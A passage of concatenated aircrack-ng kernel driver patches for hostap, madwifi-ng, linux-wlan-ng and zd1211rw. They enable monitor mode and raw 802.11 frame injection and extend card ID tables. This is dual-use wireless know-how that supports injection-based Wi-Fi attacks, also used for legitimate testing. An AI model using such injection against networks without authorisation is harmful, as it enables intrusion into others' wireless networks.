linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h --- linux-2.6.23_orig/drivers/net/wireless/zd1211rw/zd_usb.h 2007-10-09 22:31:38.000000000 +0200 +++ linux-2.6.23_rawtx/drivers/net/wireless/zd1211rw/zd_usb.h 2007-12-04 00:07:22.000000000 +0100 @@ -222,6 +222,7 @@ void zd_usb_disable_rx(struct zd_usb *usb); int zd_usb_tx(struct zd_usb *usb, const u8 *frame, unsigned int length); +int zd_usb_tx_inject(struct zd_usb *usb, const u8 *frame, unsigned int length); int zd_usb_ioread16v(struct zd_usb *usb, u16 *values, const zd_addr_t *addresses, unsigned int count); aircrack-ng-1.2-rc4/patches/old/hostap-driver-0.4.5.patch0000644000000000000000000004453310761053203021406 0ustar rootrootdiff -ur ../hostap-driver-0.4.5/driver/etc/hostap_cs.conf ./driver/etc/hostap_cs.conf --- ../hostap-driver-0.4.5/driver/etc/hostap_cs.conf 2005-05-23 18:01:03.000000000 +0200 +++ ./driver/etc/hostap_cs.conf 2005-11-21 13:49:16.000000000 +0100 @@ -102,17 +102,17 @@ card "Level-One WPC-0100" version "Digital Data Communications", "WPC-0100", "Version 00.00" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Belkin 802.11b WLAN PCMCIA" version "Belkin", "11Mbps Wireless Notebook Network Adapter", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Senao SL-2011CD/SL-2011CDPLUS" version "INTERSIL", "HFA384x/IEEE", "Version 01.02" - manfid 0x0156, 0x0002 +# manfid 0x0156, 0x0002 bind "hostap_cs" card "Fulbond Airbond XI-300B" diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_80211_tx.c ./driver/modules/hostap_80211_tx.c --- ../hostap-driver-0.4.5/driver/modules/hostap_80211_tx.c 2005-08-06 19:55:14.000000000 +0200 +++ ./driver/modules/hostap_80211_tx.c 2005-11-21 13:49:16.000000000 +0100 @@ -51,6 +51,9 @@ int to_assoc_ap = 0; struct hostap_skb_tx_data *meta; + if (local->iw_mode == IW_MODE_MONITOR) + goto xmit; + if (skb->len < ETH_HLEN) { printk(KERN_DEBUG "%s: hostap_data_start_xmit: short skb " "(len=%d)\n", dev->name, skb->len); @@ -216,6 +219,7 @@ memcpy(skb_put(skb, ETH_ALEN), &hdr.addr4, ETH_ALEN); } +xmit: iface->stats.tx_packets++; iface->stats.tx_bytes += skb->len; @@ -377,8 +381,6 @@ } if (skb->len < 24) { - printk(KERN_DEBUG "%s: hostap_master_start_xmit: short skb " - "(len=%d)\n", dev->name, skb->len); ret = 0; iface->stats.tx_dropped++; goto fail; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap.c ./driver/modules/hostap.c --- ../hostap-driver-0.4.5/driver/modules/hostap.c 2005-08-06 19:47:10.000000000 +0200 +++ ./driver/modules/hostap.c 2005-11-21 13:49:16.000000000 +0100 @@ -407,7 +407,7 @@ if (local->iw_mode == IW_MODE_REPEAT) return HFA384X_PORTTYPE_WDS; if (local->iw_mode == IW_MODE_MONITOR) - return HFA384X_PORTTYPE_PSEUDO_IBSS; + return 5; /*HFA384X_PORTTYPE_PSEUDO_IBSS;*/ return HFA384X_PORTTYPE_HOSTAP; } diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_config.h ./driver/modules/hostap_config.h --- ../hostap-driver-0.4.5/driver/modules/hostap_config.h 2005-09-26 03:42:30.000000000 +0200 +++ ./driver/modules/hostap_config.h 2005-11-21 13:49:16.000000000 +0100 @@ -59,7 +59,7 @@ * In addition, please note that it is possible to kill your card with * non-volatile download if you are using incorrect image. This feature has not * been fully tested, so please be careful with it. */ -/* #define PRISM2_NON_VOLATILE_DOWNLOAD */ +#define PRISM2_NON_VOLATILE_DOWNLOAD #endif /* PRISM2_DOWNLOAD_SUPPORT */ /* Include wireless extensions sub-ioctl support even if wireless extensions diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_cs.c ./driver/modules/hostap_cs.c --- ../hostap-driver-0.4.5/driver/modules/hostap_cs.c 2005-09-18 05:51:09.000000000 +0200 +++ ./driver/modules/hostap_cs.c 2005-11-21 16:23:02.000000000 +0100 @@ -929,51 +929,97 @@ #if LINUX_VERSION_CODE > KERNEL_VERSION(2,5,67) #if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,13)) static struct pcmcia_device_id hostap_cs_ids[] = { - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), - PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), - PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), - PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), - PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), - PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), - PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), - PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), - PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), - PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", - 0x7a954bd9, 0x74be00c6), - PCMCIA_DEVICE_PROD_ID1234( - "Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", - "Eval-RevA", - 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), - PCMCIA_DEVICE_PROD_ID123( - "Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", - 0xe6ec52ce, 0x08649af2, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", - 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "Instant Wireless ", " Network PC CARD", "Version 01.02", - 0x11d901af, 0x6e9bd926, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID123( - "SMC", "SMC2632W", "Version 01.02", - 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), - PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", - 0x54f7c49c, 0x15a75e5b), - PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", - 0x74c5e40d, 0xdb472a18), - PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", - 0x0733cc81, 0x0c52f395), - PCMCIA_DEVICE_PROD_ID12( - "ZoomAir 11Mbps High", "Rate wireless Networking", - 0x273fe3db, 0x32a1eaee), + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7100), // SonicWALL Long Range Wireless Card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7110), // D-Link DWL-650 rev P 802.11b WLAN card + PCMCIA_DEVICE_MANF_CARD(0x000b, 0x7300), // Sohoware NCP110, Philips 802.11b +// PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0001), // Intel PRO/Wireless 2011 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x0089, 0x0002), // AnyPoint(TM) Wireless II PC Card + PCMCIA_DEVICE_MANF_CARD(0x0101, 0x0777), // 3Com AirConnect PCI 777A + PCMCIA_DEVICE_MANF_CARD(0x0126, 0x8000), // PROXIM RangeLAN-DS/LAN PC CARD + PCMCIA_DEVICE_MANF_CARD(0x0138, 0x0002), // Compaq WL100 11 Mbps Wireless Adapter +// PCMCIA_DEVICE_MANF_CARD(0x0156, 0x0002), // Mostly Lucent Orinoco (HermesI), but also some Prism2 :( +// PCMCIA_DEVICE_MANF_CARD(0x016b, 0x0001), // Ericsson WLAN Card C11 (Symbol24) +// PCMCIA_DEVICE_MANF_CARD(0x01eb, 0x080a), // Nortel eMobility 802.11 Wireless Adapter (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x01ff, 0x0008), // Intermec MobileLAN 11Mbps 802.11b WLAN Card + PCMCIA_DEVICE_MANF_CARD(0x0250, 0x0002), // Samsung SWL2000-N 11Mb/s WLAN Card +// PCMCIA_DEVICE_MANF_CARD(0x0261, 0x0002), // AirWay 802.11 Adapter (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x0268, 0x0001), // ARtem Onair (HermesI) +// PCMCIA_DEVICE_MANF_CARD(0x026c, 0x0001), // Symbol Technologies LA4111 (Symbol24) + PCMCIA_DEVICE_MANF_CARD(0x026f, 0x0305), // Buffalo WLI-PCM-S11 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1612), // Linksys WPC11 Version 2.5 + PCMCIA_DEVICE_MANF_CARD(0x0274, 0x1613), // Linksys WPC11 Version 3 + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0002), // Compaq HNW-100 11 Mbps Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x028a, 0x0673), // Linksys WCF12 11Mbps 802.11b WLAN Card (Prism 3) + PCMCIA_DEVICE_MANF_CARD(0x02aa, 0x0002), // ASUS SpaceLink WL-100 + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x0002), // SpeedStream SS1021 Wireless Adapter + PCMCIA_DEVICE_MANF_CARD(0x02ac, 0x3021), // SpeedStream SS1021 Wireless Adapter (newer) + PCMCIA_DEVICE_MANF_CARD(0x02d2, 0x0001), // Microsoft Wireless Notebook Adapter MN-520 + PCMCIA_DEVICE_MANF_CARD(0x14ea, 0xb001), // PLANEX RoadLannerWave GW-NS11H + PCMCIA_DEVICE_MANF_CARD(0x1668, 0x0101), // ActionTec 802CI2/HCW01170-01 + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x0001), // Airvast ? + PCMCIA_DEVICE_MANF_CARD(0x50c2, 0x7300), // Airvast WN-100 + PCMCIA_DEVICE_MANF_CARD(0x9005, 0x0021), // Adaptec Ultra Wireless ANW-8030 + PCMCIA_DEVICE_MANF_CARD(0xc001, 0x0008), // CONTEC FLEXSCAN/FX-DDS110-PCC + PCMCIA_DEVICE_MANF_CARD(0xc00f, 0x0000), // Corega KK Wireless LAN PCC-11 + PCMCIA_DEVICE_MANF_CARD(0xc250, 0x0002), // Conceptronic CON11Cpro, EMTAC A2424i + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0002), // Safeway 802.11b, ZCOMAX AirRunner/XI-300 + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0005), // D-Link DCF660, ZCOMAX XI-325HP 200mw + PCMCIA_DEVICE_MANF_CARD(0xd601, 0x0010), // SMC2532W-B V2 + + PCMCIA_MFC_DEVICE_PROD_ID12(0, "SanDisk", "ConnectPlus", 0x7a954bd9, 0x74be00c6), + PCMCIA_DEVICE_PROD_ID12(" ", "IEEE 802.11 Wireless LAN/PC Card", 0x3b6e20c8, 0xefccafe9), +// PCMCIA_DEVICE_PROD_ID12("3Com", "3CRWE737A AirConnect Wireless LAN PC Card", 0x41240e5b, 0x56010af3), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("ACTIONTEC", "PRISM Wireless LAN PC Card", 0x393089da, 0xa71e69d5), + PCMCIA_DEVICE_PROD_ID123("Addtron", "AWP-100 Wireless PCMCIA", "Version 01.02", 0xe6ec52ce, 0x08649af2, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("AIRVAST", "IEEE 802.11b Wireless PCMCIA Card", "HFA3863", 0xea569531, 0x4bcb9645, 0x355cb092), + PCMCIA_DEVICE_PROD_ID12("Allied Telesyn", "AT-WCL452 Wireless PCMCIA Radio", 0x5cd01705, 0x4271660f), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11b_PC_CARD_25", 0x78fc06ee, 0xdb9aa842), + PCMCIA_DEVICE_PROD_ID12("ASUS", "802_11B_CF_CARD_25", 0x78fc06ee, 0x45a50c1e), +// PCMCIA_DEVICE_PROD_ID12("Avaya Communication", "Avaya Wireless PC Card", 0xd8a43b78, 0x0d341169), // HermesI + PCMCIA_DEVICE_PROD_ID12("BENQ", "AWL100 PCMCIA ADAPTER", 0x35dadc74, 0x01f7fedb), +// PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-PCM-L11G", 0x2decece3, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("BUFFALO", "WLI-CF-S11G", 0x2decece3, 0x82067c18), +// PCMCIA_DEVICE_PROD_ID12("Cabletron", "RoamAbout 802.11 DS", 0x32d445f5, 0xedeffd90), // HermesI + PCMCIA_DEVICE_PROD_ID12("Compaq", "WL200_11Mbps_Wireless_PCI_Card", 0x54f7c49c, 0x15a75e5b), + PCMCIA_DEVICE_PROD_ID123("corega", "WL PCCL-11", "ISL37300P", 0x0a21501a, 0x59868926, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCC-11", 0x5261440f, 0xa6405584), + PCMCIA_DEVICE_PROD_ID12("corega K.K.", "Wireless LAN PCCA-11", 0x5261440f, 0xdf6115f9), + PCMCIA_DEVICE_PROD_ID12("D", "Link DRC-650 11Mbps WLAN Card", 0x71b18589, 0xf144e3ac), + PCMCIA_DEVICE_PROD_ID123("D", "Link DWL-650 11Mbps WLAN Card", "Version 01.02", 0x71b18589, 0xb6f1b0ab, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("D-Link Corporation", "D-Link DWL-650H 11Mbps WLAN Adapter", 0xef544d24, 0xcd8ea916), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("Digital Data Communications", "WPC-0100", 0xfdd73470, 0xe0b6f146), +// PCMCIA_DEVICE_PROD_ID12("ELSA", "AirLancer MC-11", 0x4507a33a, 0xef54f0e3), // HermesI + PCMCIA_DEVICE_PROD_ID12("HyperLink", "Wireless PC Card 11Mbps", 0x56cc3f1a, 0x0bcf220c), + PCMCIA_DEVICE_PROD_ID123("Instant Wireless ", " Network PC CARD", "Version 01.02", 0x11d901af, 0x6e9bd926, 0x4b74baa0), +// PCMCIA_DEVICE_PROD_ID12("Intel", "PRO/Wireless 2011 LAN PC Card", 0x816cc815, 0x07f58077), // HermesI + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "I-GATE 11M PC Card / PC Card plus", 0x74c5e40d, 0x8304ff77), + PCMCIA_DEVICE_PROD_ID1234("Intersil", "PRISM 2_5 PCMCIA ADAPTER", "ISL37300P", "Eval-RevA", 0x4b801a17, 0x6345a0bf, 0xc9049a39, 0xc23adc0e), + PCMCIA_DEVICE_PROD_ID123("Intersil", "PRISM Freedom PCMCIA Adapter", "ISL37100P", 0x4b801a17, 0xf222ec2d, 0x630d52b2), + PCMCIA_DEVICE_PROD_ID12("INTERSIL", "HFA384x/IEEE", 0x74c5e40d, 0xdb472a18), + PCMCIA_DEVICE_PROD_ID12("LeArtery", "SYNCBYAIR 11Mbps Wireless LAN PC Card", 0x7e3b326a, 0x49893e92), + PCMCIA_DEVICE_PROD_ID12("Linksys", "Wireless CompactFlash Card", 0x0733cc81, 0x0c52f395), +// PCMCIA_DEVICE_PROD_ID12("Lucent Technologies", "WaveLAN/IEEE", 0x23eb9949, 0xc562e72a), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11", 0x481e0094, 0x7360e410), // HermesI +// PCMCIA_DEVICE_PROD_ID12("MELCO", "WLI-PCM-L11G", 0x481e0094, 0xf57ca4b3), // HermesI + PCMCIA_DEVICE_PROD_ID12("Microsoft", "Wireless Notebook Adapter MN-520", 0x5961bf85, 0x6eec8c01), +// PCMCIA_DEVICE_PROD_ID12("NCR", "WaveLAN/IEEE", 0x24358cd4, 0xc562e72a), // HermesI + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401 Wireless PC", "Card", 0xa37434e9, 0x9762e8f1), + PCMCIA_DEVICE_PROD_ID12("NETGEAR MA401RA Wireless PC", "Card", 0x0306467f, 0x9762e8f1), +// PCMCIA_DEVICE_PROD_ID12("Nortel Networks", "emobility 802.11 Wireless LAN PC Card", 0x2d617ea0, 0x88cd5767), // Symbol24 + PCMCIA_DEVICE_PROD_ID12("OEM", "PRISM2 IEEE 802.11 PC-Card", 0xfea54c90, 0x48f2bdd6), + PCMCIA_DEVICE_PROD_ID12("OTC", "Wireless AirEZY 2411-PCC WLAN Card", 0x4ac44287, 0x235a6bed), + PCMCIA_DEVICE_PROD_ID123("PCMCIA", "11M WLAN Card v2.5", "ISL37300P", 0x281f1c5d, 0x6e440487, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-CF110", 0x209f40ab, 0xd9715264), + PCMCIA_DEVICE_PROD_ID12("PLANEX", "GeoWave/GW-NS110", 0x209f40ab, 0x46263178), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PC CARD HARMONY 80211B", 0xc6536a5e, 0x090c3cd9), + PCMCIA_DEVICE_PROD_ID12("PROXIM", "LAN PCI CARD HARMONY 80211B", 0xc6536a5e, 0x9f494e26), + PCMCIA_DEVICE_PROD_ID12("SAMSUNG", "11Mbps WLAN Card", 0x43d74cb4, 0x579bd91b), +// PCMCIA_DEVICE_PROD_ID1("Symbol Technologies", 0x3f02b4d6), // Symbol24 +// PCMCIA_DEVICE_PROD_ID12("Symbol Technologies", "LA4111 Spectrum24 Wireless LAN PC Card", 0x3f02b4d6, 0x3663cb0e), // Symbol24 + PCMCIA_DEVICE_PROD_ID123("SMC", "SMC2632W", "Version 01.02", 0xc4f8b18b, 0x474a1f2a, 0x4b74baa0), + PCMCIA_DEVICE_PROD_ID123("The Linksys Group, Inc.", "Instant Wireless Network PC Card", "ISL37300P", 0xa5f472c2, 0x590eb502, 0xc9049a39), + PCMCIA_DEVICE_PROD_ID12("ZoomAir 11Mbps High", "Rate wireless Networking", 0x273fe3db, 0x32a1eaee), PCMCIA_DEVICE_NULL }; MODULE_DEVICE_TABLE(pcmcia, hostap_cs_ids); diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_hw.c ./driver/modules/hostap_hw.c --- ../hostap-driver-0.4.5/driver/modules/hostap_hw.c 2005-08-20 18:32:34.000000000 +0200 +++ ./driver/modules/hostap_hw.c 2005-11-21 13:49:16.000000000 +0100 @@ -1005,6 +1005,35 @@ return fid; } +static int prism2_monitor_enable(struct net_device *dev) +{ + if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, 5)) { + printk(KERN_DEBUG "Port type setting for monitor mode " + "failed\n"); + return -EOPNOTSUPP; + } + + if (hfa384x_cmd(dev, HFA384X_CMDCODE_TEST | (0x0a << 8), + 0, NULL, NULL)) { + printk(KERN_DEBUG "Could not enter testmode 0x0a\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, + HFA384X_WEPFLAGS_PRIVACYINVOKED | + HFA384X_WEPFLAGS_HOSTENCRYPT | + HFA384X_WEPFLAGS_HOSTDECRYPT)) { + printk(KERN_DEBUG "WEP flags setting failed\n"); + return -EOPNOTSUPP; + } + + if (hostap_set_word(dev, HFA384X_RID_PROMISCUOUSMODE, 1)) { + printk(KERN_DEBUG "Could not set promiscuous mode\n"); + return -EOPNOTSUPP; + } + + return 0; +} static int prism2_reset_port(struct net_device *dev) { @@ -1028,6 +1057,10 @@ "port\n", dev->name); } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + return prism2_monitor_enable(dev); + /* It looks like at least some STA firmware versions reset * fragmentation threshold back to 2346 after enable command. Restore * the configured value, if it differs from this default. */ @@ -1444,6 +1477,10 @@ return 1; } + if (local->iw_mode == IW_MODE_MONITOR) + /* force mode 0x0a after port 0 reset */ + prism2_monitor_enable(dev); + local->hw_ready = 1; local->hw_reset_tries = 0; local->hw_resetting = 0; @@ -3260,6 +3297,7 @@ local->func->hw_config = prism2_hw_config; local->func->hw_reset = prism2_hw_reset; local->func->hw_shutdown = prism2_hw_shutdown; + local->func->monitor_enable = prism2_monitor_enable; local->func->reset_port = prism2_reset_port; local->func->schedule_reset = prism2_schedule_reset; #ifdef PRISM2_DOWNLOAD_SUPPORT diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_ioctl.c ./driver/modules/hostap_ioctl.c --- ../hostap-driver-0.4.5/driver/modules/hostap_ioctl.c 2005-09-19 03:51:47.000000000 +0200 +++ ./driver/modules/hostap_ioctl.c 2005-11-21 13:49:16.000000000 +0100 @@ -1068,33 +1068,7 @@ printk(KERN_DEBUG "Enabling monitor mode\n"); hostap_monitor_set_type(local); - - if (hostap_set_word(dev, HFA384X_RID_CNFPORTTYPE, - HFA384X_PORTTYPE_PSEUDO_IBSS)) { - printk(KERN_DEBUG "Port type setting for monitor mode " - "failed\n"); - return -EOPNOTSUPP; - } - - /* Host decrypt is needed to get the IV and ICV fields; - * however, monitor mode seems to remove WEP flag from frame - * control field */ - if (hostap_set_word(dev, HFA384X_RID_CNFWEPFLAGS, - HFA384X_WEPFLAGS_HOSTENCRYPT | - HFA384X_WEPFLAGS_HOSTDECRYPT)) { - printk(KERN_DEBUG "WEP flags setting failed\n"); - return -EOPNOTSUPP; - } - - if (local->func->reset_port(dev) || - local->func->cmd(dev, HFA384X_CMDCODE_TEST | - (HFA384X_TEST_MONITOR << 8), - 0, NULL, NULL)) { - printk(KERN_DEBUG "Setting monitor mode failed\n"); - return -EOPNOTSUPP; - } - - return 0; + return local->func->reset_port(dev); } @@ -1160,7 +1134,7 @@ local->iw_mode = *mode; if (local->iw_mode == IW_MODE_MONITOR) - hostap_monitor_mode_enable(local); + return hostap_monitor_mode_enable(local); else if (local->iw_mode == IW_MODE_MASTER && !local->host_encrypt && !local->fw_encrypt_ok) { printk(KERN_DEBUG "%s: defaulting to host-based encryption as " diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_pci.c ./driver/modules/hostap_pci.c --- ../hostap-driver-0.4.5/driver/modules/hostap_pci.c 2005-09-17 23:05:08.000000000 +0200 +++ ./driver/modules/hostap_pci.c 2005-11-21 13:56:48.000000000 +0100 @@ -48,6 +48,8 @@ { 0x1260, 0x3873, PCI_ANY_ID, PCI_ANY_ID }, /* Samsung MagicLAN SWL-2210P */ { 0x167d, 0xa000, PCI_ANY_ID, PCI_ANY_ID }, + /* NETGEAR MA311 */ + { 0x1385, 0x3872, PCI_ANY_ID, PCI_ANY_ID }, { 0 } }; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_plx.c ./driver/modules/hostap_plx.c --- ../hostap-driver-0.4.5/driver/modules/hostap_plx.c 2005-09-17 23:05:08.000000000 +0200 +++ ./driver/modules/hostap_plx.c 2005-11-21 16:24:11.000000000 +0100 @@ -98,6 +98,7 @@ { 0xc250, 0x0002 } /* EMTAC A2424i */, { 0xd601, 0x0002 } /* Z-Com XI300 */, { 0xd601, 0x0005 } /* Zcomax XI-325H 200mW */, + { 0xd601, 0x0010 } /* Zcomax XI-325H 100mW */, { 0, 0} }; diff -ur ../hostap-driver-0.4.5/driver/modules/hostap_wlan.h ./driver/modules/hostap_wlan.h --- ../hostap-driver-0.4.5/driver/modules/hostap_wlan.h 2005-08-06 19:55:14.000000000 +0200 +++ ./driver/modules/hostap_wlan.h 2005-11-21 13:49:16.000000000 +0100 @@ -591,6 +591,7 @@ int (*hw_config)(struct net_device *dev, int initial); void (*hw_reset)(struct net_device *dev); void (*hw_shutdown)(struct net_device *dev, int no_disable); + int (*monitor_enable)(struct net_device *dev); int (*reset_port)(struct net_device *dev); void (*schedule_reset)(local_info_t *local); int (*download)(local_info_t *local, aircrack-ng-1.2-rc4/patches/old/madwifi-ng-r3925.patch0000644000000000000000000000223011226735175020761 0ustar rootrootIndex: ath/if_ath.c =================================================================== --- ath/if_ath.c (revision 3925) +++ ath/if_ath.c (working copy) @@ -3002,6 +3002,7 @@ ath_tx_startraw(struct net_device *dev, struct ath_buf *bf, struct sk_buff *skb) { struct ath_softc *sc = netdev_priv(dev); + struct ieee80211com *ic = &sc->sc_ic; struct ath_hal *ah = sc->sc_ah; struct ieee80211_phy_params *ph = &(SKB_CB(skb)->phy); const HAL_RATE_TABLE *rt; @@ -3014,7 +3015,8 @@ struct ieee80211_frame *wh; wh = (struct ieee80211_frame *)skb->data; - try0 = ph->try[0]; +// try0 = ph->try[0]; + try0 = (ic->ic_opmode == IEEE80211_M_MONITOR) ? 1 : ph->try[0]; rt = sc->sc_currates; txrate = dot11_to_ratecode(sc, rt, ph->rate[0]); power = ph->power > 60 ? 60 : ph->power; @@ -3038,7 +3040,8 @@ rt = sc->sc_currates; KASSERT(rt != NULL, ("no rate table, mode %u", sc->sc_curmode)); - if (IEEE80211_IS_MULTICAST(wh->i_addr1)) { + if (IEEE80211_IS_MULTICAST(wh->i_addr1) || ((ic->ic_opmode == +IEEE80211_M_MONITOR) && (skb->data[1]&3) != 0x01) ) { flags |= HAL_TXDESC_NOACK; /* no ack on broad/multicast */ sc->sc_stats.ast_tx_noack++; try0 = 1; aircrack-ng-1.2-rc4/patches/old/linux-wlan-0.2.3.packet.injection.patch0000644000000000000000000003106610761053203024135 0ustar rootrootdiff -ur linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c --- linux-wlan-ng-0.2.3/src/p80211/p80211netdev.c 2005-10-31 14:54:59.000000000 -0500 +++ linux-wlan-ng-0.2.3-patched/src/p80211/p80211netdev.c 2006-03-16 16:33:03.000000000 -0500 @@ -511,7 +511,7 @@ * and return success . * TODO: we need a saner way to handle this */ - if(skb->protocol != ETH_P_80211_RAW) { + if(skb->protocol != htons(ETH_P_80211_RAW)) { p80211netdev_start_queue(wlandev); WLAN_LOG_NOTICE( "Tx attempt prior to association, frame dropped.\n"); @@ -523,7 +523,7 @@ } /* Check for raw transmits */ - if(skb->protocol == ETH_P_80211_RAW) { + if(skb->protocol == htons(ETH_P_80211_RAW)) { if (!capable(CAP_NET_ADMIN)) { result = 1; goto failed; @@ -950,8 +950,9 @@ dev->set_mac_address = p80211knetdev_set_mac_address; #endif #ifdef HAVE_TX_TIMEOUT - dev->tx_timeout = &p80211knetdev_tx_timeout; - dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; +// korek: still not implemented +// dev->tx_timeout = &p80211knetdev_tx_timeout; +// dev->watchdog_timeo = (wlan_watchdog * HZ) / 1000; #endif netif_carrier_off(dev); } diff -ur linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c --- linux-wlan-ng-0.2.3/src/prism2/driver/hfa384x.c 2005-07-20 11:07:16.000000000 -0400 +++ linux-wlan-ng-0.2.3-patched/src/prism2/driver/hfa384x.c 2006-03-17 11:03:09.000000000 -0500 @@ -1871,8 +1871,16 @@ DBFENTER; - cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | - HFA384x_CMD_AINFO_SET(enable); +// cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | +// HFA384x_CMD_AINFO_SET(enable); + if (enable == HFA384x_MONITOR_ENABLE) { + // KoreK: get into test mode 0x0a + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(0x0a); + } else { + cmd.cmd = HFA384x_CMD_CMDCODE_SET(HFA384x_CMDCODE_MONITOR) | + HFA384x_CMD_AINFO_SET(enable); + } cmd.parm0 = 0; cmd.parm1 = 0; cmd.parm2 = 0; @@ -3112,12 +3120,34 @@ #endif /* if we're using host WEP, increase size by IV+ICV */ - if (p80211_wep->data) { - txdesc.data_len = host2hfa384x_16(skb->len+8); - // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); - } else { - txdesc.data_len = host2hfa384x_16(skb->len); - } +// if (p80211_wep->data) { +// txdesc.data_len = host2hfa384x_16(skb->len+8); +// // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); +// } else { +// txdesc.data_len = host2hfa384x_16(skb->len); +// } + + if (skb->protocol != htons(ETH_P_80211_RAW)) { + /* if we're using host WEP, increase size by IV+ICV */ + if (p80211_wep->data) { + txdesc.data_len = host2hfa384x_16(skb->len+8); + // txdesc.tx_control |= HFA384x_TX_NOENCRYPT_SET(1); + } else { + txdesc.data_len = host2hfa384x_16(skb->len); + } + } else { + /* KoreK: raw injection (monitor mode): pull the rest of + the header and ssanity check on txdesc.data_len */ + memcpy(&(txdesc.data_len), skb->data, 16); + skb_pull(skb,16); + if (txdesc.data_len != host2hfa384x_16(skb->len)) { + printk(KERN_DEBUG "mismatch frame_len, drop frame\n"); + return 0; + } + + txdesc.tx_control |= HFA384x_TX_RETRYSTRAT_SET(1); + } + txdesc.tx_control = host2hfa384x_16(txdesc.tx_control); /* copy the header over to the txdesc */ @@ -3140,7 +3170,9 @@ spin_lock(&hw->cmdlock); /* Copy descriptor+payload to FID */ - if (p80211_wep->data) { + +// if (p80211_wep->data) { + if (p80211_wep->data && (skb->protocol != htons(ETH_P_80211_RAW))) { result = hfa384x_copy_to_bap4(hw, HFA384x_BAP_PROC, fid, 